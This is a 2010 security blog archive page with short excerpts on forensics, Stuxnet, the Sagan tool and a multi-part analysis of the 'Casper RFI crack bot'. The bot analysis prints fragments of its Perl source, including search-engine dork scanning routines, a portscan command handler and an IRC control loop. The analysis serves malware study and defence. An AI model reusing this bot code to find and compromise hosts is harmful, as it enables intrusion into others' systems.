September, 2010

Sans reading room

I like to look around the reading room from time to time looking for something to read and I found this one really interesting. http://computer-forensics.sans.org/community/papers/examining-unknown-image-analysis-compromised-honeypot_200 Forensics is so cool :) This has an excellent write...

Creating sound disk images

What does that mean? Creating an image that is going to have all of the information that you are going to need and persevering as much of that information as possible. First capture a snap shot of the memory of the target, there is a lot of tools out there to do this. I prefer mdd.  If you...

Stuxnet update

This article is extremely interesting. Two quotes really sticks out "Since reverse engineering chunks of Stuxnet's massive code, senior US cyber security experts confirm what Mr. Langner, the German researcher, told the Monitor: Stuxnet is essentially a precision, military-grade cyber...

Sagan Update

Softwink has released an update, they are at version 0.1.5.  The rc script I created wont cut it anymore, it will have to be tweaked. You dont need to add & on the end of the command it has a deamonize option now. You can download it here http://sagan.softwink.com/download/ Enjoy.

Casper RFI crack bot – Part 16 – Last Part

So looking over all of the scripts what do we have? What is in use here is a collection of scripts by varying authors from multiple nationalities in different languages.  This in a best case scenario is a script kiddie, also by the fact that he left his gmail address in the script that was...

Casper RFI crack bot – Part 15

What this appears to be looking for is more machines to exploit, big surprise! I followed it back for a bit and this is what I ended up with.

sub se_yahoo {
  my ($chan,$key,$nf) = @_;

sub s_engine {
    my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;

sub s_cari {
  #Type: 1 = Cari...
			

Casper RFI crack bot – Part 14

One more script listed at the top of the main one.

$filebotscan = "scan.txt";

##[ GOOGLE ]##
sub se_google {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000; my...
			

Casper RFI crack bot – Part 13

There is a few more things that are worth looking at.

 if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my...
			

Casper RFI crack bot – Part 12

So what is going on next,

my $line_temp;
while( 1 ) {
     while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
     delete($irc_servers{''}) if (defined($irc_servers{''}));
     &DCC::connections;
     my @ready = $sel_cliente->can_read(0.6);
     next...
			

Fun anti-malware site

I found this stumbling around the Internets. http://wam.dasient.com/wam/infection_library_index Nice little list for starting research.